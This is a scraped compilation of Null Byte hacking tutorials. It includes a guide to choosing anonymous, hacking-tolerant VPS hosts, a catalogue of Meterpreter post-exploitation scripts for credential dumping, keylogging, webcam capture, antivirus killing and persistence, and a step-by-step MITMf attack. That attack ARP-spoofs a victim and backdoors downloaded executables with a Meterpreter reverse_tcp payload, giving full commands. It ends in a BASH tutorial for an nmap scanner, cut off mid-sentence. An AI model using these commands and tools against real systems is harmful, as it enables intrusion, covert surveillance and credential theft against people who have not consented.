Technologies, & SecurityHow To:Target Bluetooth Devices with BettercapThe Hacks of Mr. Robot:How to Hack BluetoothHands-On:Epson Joins the Move to Android Smartphones with Moverio BT-30C Smart GlassesHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)News:Epson Adds Two New Moverio Augmented Reality HeadsetsHack Like a Pro:How to Use Maltego to Do Network ReconnaissanceHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Hack Wi-Fi Networks with BettercapHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)How To:Build and Install Kali Nethunter (The New Version) On a Supported Android Device Running Android 6.0.1How To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesAndroid for Hackers:How to Turn an Android Phone into a Hacking Device Without RootHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 4 (Finding Files)News:NAB 2010 - Panasonic 3D VariZoom for the AG-3DA1News:Giuliano Bekor Photoshoot BTS |
The White Hat's Guide to Choosing a Virtual Private Server Β« Null Byte :: WonderHowTo | Conducting phishing campaigns and hostingMetasploitsessions from a trusted VPS is important to any professional security researcher, pentester, or white hat hacker. However, the options are quite limited since most providers have zero-tolerance policies for any kind of hacking, good or bad. After researching dozens of products, we came out with 5 potentials that are ideal for Null Byte readers.First things first ... what's a VPS? Well, it stands for virtual private server and is a virtualized server that a lot of users perceive as a dedicated or private server even though it is installed on a physical computer running multiple operating systems simultaneously. VPSs are most commonly used for hosting websites online.When we purchase a VPS from a provider, we're in essence "renting" a partition on a powerful high-performance physical machine which houses many virtual servers. Each VPS is connected to the internet, grants individual customers the ability to use different operating systems, and gives full root access to the operating systems. Each customer (or server administrator) operates independently of other customers sharing the physical computer provided by the VPS company.Don't Miss:What Is a White Hat Hacker?Essentially, a virtual private server is a computer we can control remotely from any internet-connected device in the world. This gives us a lot of power. From a remote server, these are just a few of the things that can be done:create VPN connectionshost phishing sitesperform brute-force attackscreate IRC botsserver proxieshost payloadsuse port scannerscreate honeypotshost Metasploit sessionsTo get right to it, from our research,BulletShieldis by far the best VPS provider for white hats and pentesters, followed closely byBuyVMandClientVPS. Runners-up wereVPSDimeandOneHost Cloud. You can see why in our chart below, but jump below that to delve deeper into what each comparison point means.UPDATE: BulletShield no longer exists. We will be looking at more VPS providers to see if any are worthy enough to make our list, and we'll update accordingly when we do. In the meantime, BuyVM is the next best thing.Image by tokyoneon/Null ByteKey Comparison PointsThere are several VPS comparison charts online, but none are relatable to me as a pentester and white hat. In most professional penetration testing scenarios, we need to spin up a VPS for several days to host a payload, receive exfiltration data, or perform a phishing attack.Whether or not the VPS provider offers live tech support, incomprehensible hardware specifications, or an excessive selection of operating systems rarely matters. Ideally, we want to use Bitcoin (BTC) to quickly purchase the latest Debian release from a VPS provider based in a privacy-respecting country.When comparing VPS providers featured in this article, I tried to be as objective and fair as possible. No VPS provider in this article paid to be featured in the comparison chart. I used the criteria below to come up with the above chart.Don't Miss:How to Sell Your Stellar, Ripple & Other Alt-Coins for Bitcoin or Ethereum in BinanceBest PriceI believe in pricing transparency. This means the provider is completely honest about how much their monthly fees are. The prices listed in my chart may not always reflect pricing advertised on a given provider's homepage. The prices in my chart are the checkout prices after all mandatory and hidden fees have been calculated. These are also the prices of the cheapest VPS plan I could find on the website. That meant 512 MB of RAM and 1 CPU core, in most cases.Pentester-FriendlyThe terms of service (ToS) and acceptable use policy (AUP) were probably the highest priorities going into this comparison chart. While dozens of VPS providers were considered at first, most explicitly disallowed or discouraged port scanners, payload distribution, phishing, and/or hacking of any kind. With a few exceptions, this immediately disqualified the VPS provider from the comparison chart.IT professionals, security researchers, and self-taught white hat hackers do plenty of great work on remote servers. It was important to me that the VPS providers featured here maintained ToS policies that best fit the needs of the Null Byte audience. The VPS providers in my chart were among the few that did not have ToS policies which were entirely hostile toward "hacking."The providers which are noted as being pentester-friendly don't explicitly state in their ToS that "hacking" (or any related terminology) is allowed. No VPS provider would ever do that. Most of these providers either make no mention of hacking in their ToS or they don't have a ToS available on their website at all. This was believed to be an indication that hacking activities are strongly frowned upon, but may not result in account termination.Requests Personal InfoSubmitting our real name, address, phone number, and other personally identifiable information to any website is never desirable. Even if anonymity isn't a priority for you, the VPS provider could still someday become compromised and have all their customer data leaked online.Purchasing VPS subscriptions are ideally accomplished anonymously, as there's no telling what trouble we may get into during research or pentesting. Legal action may someday be taken against the VPS provider for something that transpired on a server you purchased, so it would be wise to store as little information about yourself on the provider's customer database.In most cases, I found it was possible to submit a completely fake name, address, and phone number during registration but I didn't count that as a "good feature" for the provider. Submitting false information to any legitimate company will almost certainly break the provider's ToS and result in immediate termination of the account.An email address required from a VPS provider did not constitute as "personal information," as it's easy to anonymously acquire a disposable email address. It also makes sense that VPS providers establishsomemethod of communication with their customers.Accepts BTC PaymentsIf obtaining Bitcoin (BTC) is no obstacle, this might be the preferred method of payment for you. Most providers accept BTC these days, but the benefits of using an anonymous cryptocurrency are mostly negated by the VPS providers request for personally identifiable information. I've found that using BTC to make online purchases can be quicker and more convenient than using credit cards.Accepts Prepaid Credit CardsAcquiring BTC to make anonymous transactions can be difficult. Purchasing aprepaid or disposable debit cardwith cash may be a more convenient option. This was difficult to verify without actually submitting a payment with a prepaid debit card. In most cases, I was able to contact a customer service representative and get a direct answer from them regarding transactions made with prepaid cards.Tor-Friendly WebsiteIf you make an online purchase using a credit card over a secure VPN connection or anonymously overTor, VPS providers will sometimes suspend your account. Contacting customer support and resolving the suspension can take days.I viewed each site over Tor using the same stock Firefox browser. Providers which required visitors to complete a CAPTCHA to view their website or process a checkout were labeled as unfriendly to users who wish to remain anonymous. This doesn't explicitly mean transactions over Tor are allowed. When viewing these sites, I went only as far into the checkout process as possible without actually submitting a payment.Don't Miss:How to Access the Dark Web While Staying Anonymous with TorCompany HQ's CountryIt's not unrealistic to believe a company which offers secure crypto transactions will fullycooperate with authorities to catch a hacker. It doesn't always matter if the VPS IP address is originating from a country which respects privacy. If thecompanyproviding the VPS to you is located in the US or UK, it's very likely they will not hesitate to relinquish your personal information to any authority figure.Going further into privacy concerns, theUKUSA Agreementis an agreement between the United Kingdom, United States, Australia, Canada, and New Zealand to cooperatively collect, analyze, and share intelligence. Members of this group are known as theFive Eyes. These countries are notorious for having invasive privacy laws and policies.Choosing a VPS provider in the most privacy-respecting country probably isn't the highest priority, but it makes sense to at least consider the providers incountries with decent privacy laws.Offshore SolutionsAn "offshore VPS" would imply that the server is outside of the company's national boundary location and may allow for some degree of discretion. This is important for you as a pentester and the company which you are commissioned to secure as you may acquire compromising and sensitive information that should not be shared or leaked. Readers are encouraged to independently inquire with the VPS providers to determine whether their offshore solutions are right for you.Providers noted as offering offshore solutions usually do so at a premium. It should not be assumed that their cheapest available VPS solution is also the price of their offshore option.1. BulletShieldBulletShieldwas my top pick as the best VPS provider for Null Byte readers. BulletShield did not require or request any kind of personal information when registering an account or preparing to submit a BTC transaction. They also make BTC transactions mandatory and don't have a ToS that explicitly forbids any kind of penetration testing activities.The downsides are that they don't accept prepaid credit cards and the cheapest price is a little expensive, but if you value your privacy, price isn't necessarily the main thing to consider.When it comes to the company's headquarters, BulletShield does not disclose this information. A quick domain name search showed that it was purchased by Tucows Domains Inc., a Canadian company, but was purchased from Charlestown, a city located on a remote island in the West Indies. However, that does not mean that's where BulletShield is headquartered, it's just where the domain registrar BulletShield used registered the domain from.They do offer offshore solutions and a Tor-friendly website, which puts BulletShield in the lead overall. However, a customer service representative mentioned to me that "pentesting" is "only allowed on ... bulletproof services," which may be a problem cost-wise.ToS: None availableAUP: None availablePrivacy: None available2. BuyVMBuyVMis the runnerup for allowing legal penetration testing where explicit and legal written consent is given by the company or person(s) in question. A representative confirmed this by saying they "need a full document from the legal team representing the target in question authorizing it."Their starting prices really elevated them up the ranks with VPS solutions as low as just $2.42 a month. However, they do request your personal information, and in order to register an account, "account details must match information provided by payment method," so that could mean anonymous prepaid cards are out. Bitcoin is accepted, though.And while they do have a Tor-friendly website, they are headquartered in Canada and do not offer offshore solutions, which could be a negative depending on what you're using the VPS for.ToS:LinkAUP:LinkPrivacy:Link3. ClientVPSClientVPShas a ToS, but there's not much in there except that they will take no blame for any actions you perform that result in "injury" to person or property, copyright infringement, etc., holding you completely responsible.Overall, their prices were the most expensive, but highlights include accepting Bitcoin (prepaid Visa cards are unclear), having a Tor-friendly website, being headquartered in Russia (where requests for information are regularly ignored), and offering an offshore solution, all of which solidified its current position in their ranking.Aside from the high price, other downsides include their lack of information about legal pentesting (they did not return my inquiries) and they do request your personal data.ToS:LinkAUP: No public linkPrivacy:Link4. VPSDimeVPSDimewas not an extremely desirable option, since they have no BTC payment option, don't allow customers to view their website anonymously, and don't have any offshore VPS solutions. However, their ToS only explicitly forbids "port scanning." They make no mention of penetration testing, vulnerability scanning, phishing, or other common penetration activities.They did not respond to my email when inquired about clarifying their policies on legal penetration testing. Their ToS is too ambiguous and I was not able to determine if such (legal) activity was allowed. For that reason, I recommend readers contact VPSDime to clarify before using their service.While there is no obvious benefit to VPSDime, they are one of the cheapest options.ToS:LinkAUP:LinkPrivacy:Link5. OneHost CloudOneHost Cloudis the only VPS provider that I could find which offers a Kali Linux VPS and penetration-testing solutions. Their prices start at just $6.59/month, which is another major benefit of this provider, and they accept BTC payments.OneHost Cloud seemed like the optimal choice for white hats with no intention of ever illegally scanning a website or hacking an entity without consent. It would also be extremely confusing for customers if they offered Kali solutions but did not allow legal pentesting. However, when I inquired about legal penetration testing, they simply replied:All future email messages from this address will be blocked.This was sent to me with no reason or explanation. For this reason, OneHost Cloud came in last place and I recommend readers independently inquire with OneHost Cloud about their ToS policies before performing any kind of penetration testing.Other downsides to this provider are requesting personal information; being located in London, UK; not having an anonymous-ready website; and lack of information about offshore solutions and prepaid cards.ToS:LinkAUP: No public linkPrivacy:LinkThe VerdictThe options for professional and independent penetration testers are quite limited. Most VPS providers have detection systems in place which automatically suspend customer accounts if any kind of scanning, phishing, or spamming is detected. It could take days to resolve suspensions and create major setbacks in our pentesting schedule.Choosing a provider that's willing to work with us to better secure company websites is paramount. If you're a professional pentester or simply a novice hacker looking to step up your game in a safe and anonymous way, then pick the provider that best meets your needs and have some fun.Don't Miss:How to Hack Anyone's Wi-Fi Password Using a Birthday CardFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byOksana Stepanenko/123RFRelatedHow To:This $1,300 Ethical Hacking Bundle Is on Sale for $40 TodayHow To:Make a Virtual Private NetworkHow To:Create a Mad Hatter Costume Inspired by Tim BurtonHacking macOS:How to Connect to MacBook Backdoors from Anywhere in the WorldHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHacking Windows 10:How to Capture & Exfiltrate Screenshots RemotelyHow To:Securely Sync Files Between Two Machines Using SyncthingHow To:This Extensive Python Training Is Under $40 TodayHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersNews:What Is a White Hat Hacker?News:Here's Why You Should Be Using Private DNS on Your PhoneHow To:Fully Anonymize Kali with Tor, Whonix & PIA VPNHow To:Boost Internet Speeds & Hide Your Browsing History from Your ISPHow To:Make a vintage style fascinator hat with a veilHow To:Set Up SoftEther VPN on Windows to Keep Your Data SecureWhite Hat Hacking:Hack the Pentagon?News:Foursquare Money & PrivacyHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxNews:Introduction Into the Game!News:Great Books for The Balloon Artist and EntertainerNews:Understanding Modern Cryptography: Public KeysNews:Winners of Minecraft World's Weekly Staff Choice Awards: Week 1News:Hidden Redstone Treasures and Pixel Art Top This Week's Staff Choice AwardsMastering Security, Part 2:How to Create a Home VPN TunnelHow To:Chain VPNs for Complete AnonymityNews:Minecraft World's Weekly Server Challenge: Buildings Throughout Time #2News:Minecraft World's Weekly Server Challenge: Buildings Throughout TimeNews:Black Cloche Hat Video MUST SEENews:Planet Poem's Poetry Competition Prizes!!How To:Earn the 'Hat Trick' Achievement in RageHow To:Beatbox Tutorial - The BasicsNews:Guitar Hero in Minecraft? This Week's Staff Choice Award WinnersHow To:Download and Install the Minecraft 1.8 Pre-Release |
Hack Like a Pro: The Ultimate List of Hacking Scripts for Metasploit's Meterpreter Β« Null Byte :: WonderHowTo | Welcome back, my hacker apprentices!Metasploit frameworkis an incredible hacking and pentesting tool that every hacker worth their salt should be conversant and capable on.In a previous post, I had provided you acheat sheet of meterpreter commands. These commands are essential to running Metasploit'smeterpreter, but in recent years, numerous hackers and security pros have developed scripts that we can run from the meterpreter that can be much more effective and malicious.In this post, I will try to provide you the most complete list and description available anywhere on the web. You will want to bookmark this page too, as no one remembers all these scripts and it's likely you will want to return here at a later time to find a particular script for a particular hack.Please note that new meterpreter scripts are being developed every day. This list attempts to provide you with a complete list of scripts as of this writing. If you find errors or typos, please feel free to post them here, so I will try correct them as soon as humanly possible.Script Commands with Brief Descriptionsarp_scanner.rb- Script for performing an ARP's Scan Discovery.autoroute.rb- Meterpreter session without having to background the current session.checkvm.rb- Script for detecting if target host is a virtual machine.credcollect.rb- Script to harvest credentials found on the host and store them in the database.domain_list_gen.rb- Script for extracting domain admin account list for use.dumplinks.rb- Dumplinks parses .lnk files from a user's recent documents folder and Microsoft Office's Recent documents folder, if present. The .lnk files contain time stamps, file locations, including share names, volume serial #s and more. This info may help you target additional systems.duplicate.rb- Uses a meterpreter session to spawn a new meterpreter session in a different process. A new process allows the session to take "risky" actions that might get the process killed by A/V, giving a meterpreter session to another controller, or start a keylogger on another process.enum_chrome.rb- Script to extract data from a chrome installation.enum_firefox.rb- Script for extracting data from Firefox.enum_logged_on_users.rb- Script for enumerating current logged users and users that have logged in to the system.enum_powershell_env.rb- Enumerates PowerShell and WSH configurations.enum_putty.rb- Enumerates Putty connections.enum_shares.rb- Script for Enumerating shares offered and history of mounted shares.enum_vmware.rb- Enumerates VMware configurations for VMware products.event_manager.rb- Show information about Event Logs on the target system and their configuration.file_collector.rb- Script for searching and downloading files that match a specific pattern.get_application_list.rb- Script for extracting a list of installed applications and their version.getcountermeasure.rb- Script for detecting AV, HIPS, Third Party Firewalls, DEP Configuration and Windows Firewall configuration. Provides also the option to kill the processes of detected products and disable the built-in firewall.get_env.rb- Script for extracting a list of all System and User environment variables.getfilezillacreds.rb- Script for extracting servers and credentials from Filezilla.getgui.rb- Script to enable Windows RDP.get_local_subnets.rb- Get a list of local subnets based on the host's routes.get_pidgen_creds.rb- Script for extracting configured services with username and passwords.gettelnet.rb- Checks to see whether telnet is installed.get_valid_community.rb- Gets a valid community string from SNMP.getvncpw.rb- Gets the VNC password.hashdump.rb- Grabs password hashes from the SAM.hostedit.rb- Script for adding entries in to the Windows Hosts file.keylogrecorder.rb- Script for running keylogger and saving all the keystrokes.killav.rb- Terminates nearly every antivirus software on victim.metsvc.rb- Delete one meterpreter service and start another.migrate- Moves the meterpreter service to another process.multicommand.rb- Script for running multiple commands on Windows 2003, Windows Vistaand Windows XP and Windows 2008 targets.multi_console_command.rb- Script for running multiple console commands on a meterpreter session.multi_meter_inject.rb- Script for injecting a reverce tcp Meterpreter Payload into memory of multiple PIDs, if none is provided a notepad process will be created and a Meterpreter Payload will be injected in to each.multiscript.rb- Script for running multiple scripts on a Meterpreter session.netenum.rb- Script for ping sweeps on Windows 2003, Windows Vista, Windows 2008 and Windows XP targets using native Windows commands.packetrecorder.rb- Script for capturing packets in to a PCAP file.panda2007pavsrv51.rb- This module exploits a privilege escalation vulnerability in Panda Antivirus 2007. Due to insecure permission issues, a local attacker can gain elevated privileges.persistence.rb- Script for creating a persistent backdoor on a target host.pml_driver_config.rb- Exploits a privilege escalation vulnerability in Hewlett-Packard's PML Driver HPZ12. Due to an insecure SERVICE_CHANGE_CONFIG DACL permission, a local attacker can gain elevated privileges.powerdump.rb- Meterpreter script for utilizing purely PowerShell to extract username and password hashes through registry keys. This script requires you to be running as system in order to work properly. This has currently been tested on Server 2008 and Windows 7, which installs PowerShell by default.prefetchtool.rb- Script for extracting information from windows prefetch folder.process_memdump.rb- Script is based on the paper Neurosurgery With Meterpreter.remotewinenum.rb- This script will enumerate windows hosts in the target environment given a username and password or using the credential under which Meterpeter is running using WMI wmic windows native tool.scheduleme.rb- Script for automating the most common scheduling tasks during a pentest. This script works with Windows XP, Windows 2003, Windows Vista and Windows 2008.schelevator.rb- Exploit for Windows Vista/7/2008 Task Scheduler 2.0 Privilege Escalation. This script exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet.schtasksabuse.rb- Meterpreter script for abusing the scheduler service in Windows by scheduling and running a list of command against one or more targets. Using schtasks command to run them as system. This script works with Windows XP, Windows 2003, Windows Vista and Windows 2008.scraper.rb- The goal of this script is to obtain system information from a victim through an existing Meterpreter session.screenspy.rb- This script will open an interactive view of remote hosts. You will need Firefox installed on your machine.screen_unlock.rb- Script to unlock a windows screen. Needs system privileges to run and known signatures for the target system.screen_dwld.rb- Script that recursively search and download files matching a given pattern.service_manager.rb- Script for managing Windows services.service_permissions_escalate.rbThis script attempts to create a service, then searches through a list of existing services to look for insecure file or configuration permissions that will let it replace the executable with a payload. It will then attempt to restart the replaced service to run the payload. If that fails, the next time the service is started (such as on reboot) the attacker will gain elevated privileges.sound_recorder.rb- Script for recording in intervals the sound capture by a target host microphone.srt_webdrive_priv.rb- Exploits a privilege escalation vulnerability in South River Technologies WebDrive.uploadexec.rb- Script to upload executable file to host.virtualbox_sysenter_dos- Script to DoS Virtual Box.virusscan_bypass.rb- Script that kills Mcafee VirusScan Enterprise v8.7.0i+ processes.vnc.rb- Meterpreter script for obtaining a quick VNC session.webcam.rb- Script to enable and capture images from the host webcam.win32-sshclient.rb- Script to deploy & run the "plink" commandline ssh-client. Supports only MS-Windows-2k/XP/Vista Hosts.win32-sshserver.rb- Script to deploy and run OpenSSH on the target machine.winbf.rb- Function for checking the password policy of current system. This policy may resemble the policy of other servers in the target environment.winenum.rb- Enumerates Windows system including environment variables, network interfaces, routing, user accounts, etcwmic.rb- Script for running WMIC commands on Windows 2003, Windows Vista and Windows XP and Windows 2008 targets.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHack Like a Pro:How to Remotely Record & Listen to the Microphone on Anyone's ComputerHack Like a Pro:How to Remotely Grab a Screenshot of Someone's Compromised ComputerHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)Hack Like a Pro:How to Remotely Install an Auto-Reconnecting Persistent Back Door on Someone's PCHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHow to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyHack Like a Pro:Metasploit for the Aspiring Hacker, Part 12 (Web Delivery for Linux or Mac)How to Meterpreter:Interactive Ruby Shell (A Quick Introduction)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)How To:Create a Persistent Back Door in Android Using Kali Linux:Hack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)How To:Run an VNC Server on Win7Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:How to Hack Your School's Server to Download Final Exam AnswersHow to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHow To:Use Meterpeter on OS XHack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHow To:Embed a Metasploit Payload in an Original .Apk FileHack Like a Pro:Hacking Samba on Ubuntu and Installing the Meterpreter |
Backdooring on the Fly with MITMf Β« Null Byte :: WonderHowTo | Do you remembermy last articleon how to hook any web browser with MITMf and BeEF? Well, we are using the tool once again, but this time for auto-backdooring....How It WorksMITMf (if you don't already know) is a man in the middle attack framwork. MITMf literally stands for "Man In The Middle framework." It includes many, many different tools to help you with MitM attacks. In this case, we are automatically backdooring every downloaded executable for one specific machine. Cool, eh?We will be ARP spoofing aWindows 8.1VM machine in this test.Note: This only works for HTTP sites, so you might want to use SSLstrip+ for any HTTPS sites.RequirementsImage viaytimg.comYou will only need MITMf and Metasploit for this attack. You can download it from either the aptitude repository (apt-get install mitmf), or through the GitHub repository (git clonehttps://github.com/byt3bl33d3r/MITMf).If you choose to install via the apt, remember to runapt-get updatefirst.Metasploit is build-in to Kali.Step 1: Editing the ConfigurationsNow that we have MITMf installed, we need to edit the config files to match our system. We will edit the config file located in/usr/share/mitmf/config/mitmf.cfg.Scroll down until you get to the FilePwn section.You can see that under theCompressedFilessection, there is a configuration for many useful payloads. Set theHOSTvariable to match your IP, but don't change the port. Just remember the port number for the payload you want to use.Step 2: Selecting the TargetWhen we run MITMf with FilePwn, we want to listen for the payload specific to the target OS. In this case, I'm targeting a Windows 8.1 machine, so I would useWindowsIntelx86. The port number for that is 8443. Remember your payload's port number for later.Step 3: Set Up a ListenerWe're going to be using Metasploit as our payload listener. Typeuse multi/handlerand then set your payload. in this case, I'm using Meterpreter.set PAYLOAD windows/meterpreter/reverse_tcpSet the LHOST and LPORT options...set LHOST 10.0.2.117set LPORT 8443(Make sure you set the corresponding port number!)Thenexploit -j. Open up a new terminal...Step 4: Running the AttackTo run the attack, use the following command:mitmf --spoof --arp -i <interface> --gateway <gateway IP> --target <target IP> --filepwnFor me it would be:mitmf --spoof --arp -i wlan0 --gateway 10.0.2.1 --target 10.0.2.15 --filepwnPretty soon you should be getting output like this:If a user downloads a file, and the file is patchable. you should get some output saying "File patched successfully. Sending to target." if it successfully backdoored. As soon as the victim opens the file, you should get a Meterpreter prompt.If it doesn't say it's patched, it can't be. Unfortunately, this tactic doesn't work 100% of the time.ConclusionNow we know how to run a very neat trick--backdooring on the fly. This gets even better if you do this via mobile, as you will beverydiscrete. Don't abuse this power. As said in the help menu for MITMf quoting Yoda, "Use wisely, young padawan."C|H of C3NOTE: This had been sitting in my drafts for a month now. I've been waiting to post this for a long time.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Hook Web Browsers with MITMf and BeEFHacking Pranks:How to Flip Photos, Change Images & Inject Messages into Friends' Browsers on Your Wi-Fi NetworkHow To:Defeating HSTS and Bypassing HTTPS with DNS Server Changes and MITMfHow To:Inject Payload into Softwares via HTTPHow To:Make a Fully Undetected Backdoored ProgramHow To:Execute the Human Fly SwatNews:The Fly TrapNews:4 Flies on Grey VelvetNews:Electric Fly Swatter TagNews:News Clips - June 8How To:Get the 'Almost Flying' Achievement in Assassin's Creed RevelationsNews:Flying Spaghetti Monster StatueInsect Photography Challenge:Luna MothNews:Getting To Bocas del Toro, PanamaNews:The Fly (Cronenberg)News:Terror suspect's eye color? Flying cameras to spy during OlympicsNews:Flying Time Machine from the movie "Back to the Future"Insect Photography Challenge:Red Flying BugAction Shot Challenge:flyingLevitation Challenge:Flying |
Hack Like a Pro: Scripting for the Aspiring Hacker, Part 1 (BASH Basics) Β« Null Byte :: WonderHowTo | Welcome back, my greenhorn hackers!Recently, I asked the Null Byte communitywhat subjectthey would most like me to cover in future tutorials. Many of you cited scripting, and I decided it's best to cover this subject soon, so here goes.Any self-respecting hacker must be able to script. For that matter, any self-respecting Linux administrator must be able to script. With the arrival of the Windows PowerShell, Windows administrators are increasingly required to script as well perform automated tasks and be more efficient.As a hacker, we often need to automate the use of multiple commands, sometimes from multiple tools. To become an elite hacker, you not only need to have advanced shell scripting skills, but also the ability to script in one of the widely-used scripting languages such as Ruby (Metasploit exploits are written in Ruby), Python (many hacking tools are Python scripts), or Perl (Perl is the best text manipulation scripting language).This is the first of a new series I'm starting in scripting. We will start with basic shell scripting, move to advanced shell scripting, and then to each of these scripting languages developing hacking tools as we go. Our ultimate goal will be to develop enough scripting skills to be able to develop our own exploits.In aprevious post, I showed you how to put together a simple script using nmap to scan a range of IP addresses to check for a particular port availability. We will need that script here, as we will be adding new functionality to it after completing some preliminaries.Step 1: Types of ShellsA shell is an interface between the user and the operating system. This enables us to run commands, programs, manipulate files, etc.There are a number of different shells available for Linux. These include the Korn shell, the Z shell, the C shell, and the Bourne again shell (or BASH).As the BASH shell is available on nearly all Linux and UNIX distributions (including Mac OS X, BackTrack, and Kali), we will be using the BASH shell, exclusively.Step 2: BASH BasicsTo create a shell script, we need to start with a text editor. You can use any of the text editors in Linux including vi, vim, emacs, gedit, kate, etc., but I will be using kwrite here in these tutorials. Using a different editor should not make any difference in your script.Step 3: "Hello, Null Byte!"For our first script, we will start with a simple script that returns a message to the screen that says "Hello, Null Byte!".We start by entering the shebang or#!. This tells the operating system that whatever follows the shebang is the interpreter we want to use for our script. We then follow the shebang with/bin/bashindicating that we want the operating system to use the BASH shell interpreter.#! /bin/bashNext, we enterecho, a command in Linux that tells the system to simply repeat or "echo" back to our monitor (stdout) what follows. In this case, we want the system to echo back to us"Hello Null Byte!". Note that the text or message we want to "echo back" is in double quotation marks.echo "Hello Null Byte!"Now, let's save this file as HelloNullByte and exit from our text editor.Step 4: Set Execute PermissionsWhen we create a file, it's not necessarily executable, not even by us, the owner. Let's look atthe permissionson our new file, by typingls -lin our directory.As you can see, our new file hasrw-r--r--permissions. The owner of this file only has read (r) and write (w) permissions, but no execute (x) permissions. The group and all have only read permission. We need to modify it to give us execute permissions in order to run this script. We do this with the chmod command. To give the owner, the group, and all execute permissions, we type:chmod 755 HelloNullByteNow when we do a long listing (ls -l) on the file, we can see that we have execute permissions.Step 5: Run HelloNullByteTo run our simple script, we simply type:./HelloNullByteThe./before the file name tells the system that we want to execute this script in the currentdirectory. This means that if there is another file in another directory named HelloNullByte, please ignore it and run HelloNullByte in my current directory.When we then hit enter, our very simple script returns to our monitor.Hello Null Byte!Success! We just completed our first simple script!Step 6: Using VariablesSo, now we have a simple script. All it does is echo back a message. If we want to create more advanced scripts we will likely want to add some variables.Variablesare simply an area of storage where we can hold something in memory. That "something" might be some letters or words (strings) or numbers. It can help to add functionality to a script that has values that might change.Let's go back tothe script we wroteto use nmap to scan for vulnerable machines with a particular port open. Remember, the famous hacker, Max Butler, used a similar script to find systems with the Aloha POS that he was able to hack for millions of credit card numbers.As you can see, this script was written to scan a range of IP addresses looking for port 5505 open (the port Aloha left open for tech support), and then create a report with all the IP addresses with this port open. The IP address range is "hard coded" into the script and can only be changed by opening and editing the script file.What if we wanted to alter this script so that it would prompt us or any user for the range IP addresses to scan and the port to look for? Wouldn't it be much easier to use if we were simply prompted for these values and they were then entered into the script?Let's take a look at how we could do that.Step 7: Adding Prompts & Variables to Our Aloha ScriptFirst, we could replace the specified subnet with a IP range. We can do this with a variable called "FirstIP" and then a second variable named "LastIP" (the name of the variable is irrelevant, but best practice is to use a variable name that helps you remember what it holds). Next, we can replace the port number with a variable named "port". These variables will simply be storage areas to hold the info that the user will input before running the scan.Next, we need to prompt the user for these values. We can do this by using the echo command we learned above in writing the HelloNullByte script. So, we can simply echo the words"Enter the starting IP address :"and this will appear on the screen asking the user for the first IP address in their nmap scan.echo "Enter the starting IP address :"Now, the user seeing this prompt on the screen, will enter the first IP address. We need a way then to capture that input from the user. We can do this by following the echo line with thereadcommand followed by the name of the variable. Thereadcommand takes a value entered at the keyboard (stdin) and puts it into a variable that follows it.read FirstIPThe above command will put the IP address entered by the user into the variable, FirstIP. Then we can use that value in FirstIP throughout our script. Of course, we can do the same for each of the variables by first prompting the user to enter the information and then using a read command to capture it.Next, we just need to edit the nmap command in our script to use the variables we just created and filled. When we want thevaluestored in the variable, we can simply preface the variable name with the$, such as$port. So, to use nmap to scan a range of IP addresses starting with the first user input IP through the second user input IP and look for a port input by the user, we can re-write the nmap command like this:nmap -sT $FirstIP-$LastIP -p $port -oG webNow, as the script is written, it will scan an IP address range starting with FirstIP and ending with LastIP looking for the port the user input. Let's now save our script file and name itScannerscript.Step 8: Run It with User Input VariablesNow we can run our simple scanner script with the variables that tell the script what IP address range and port to scan without having to edit the 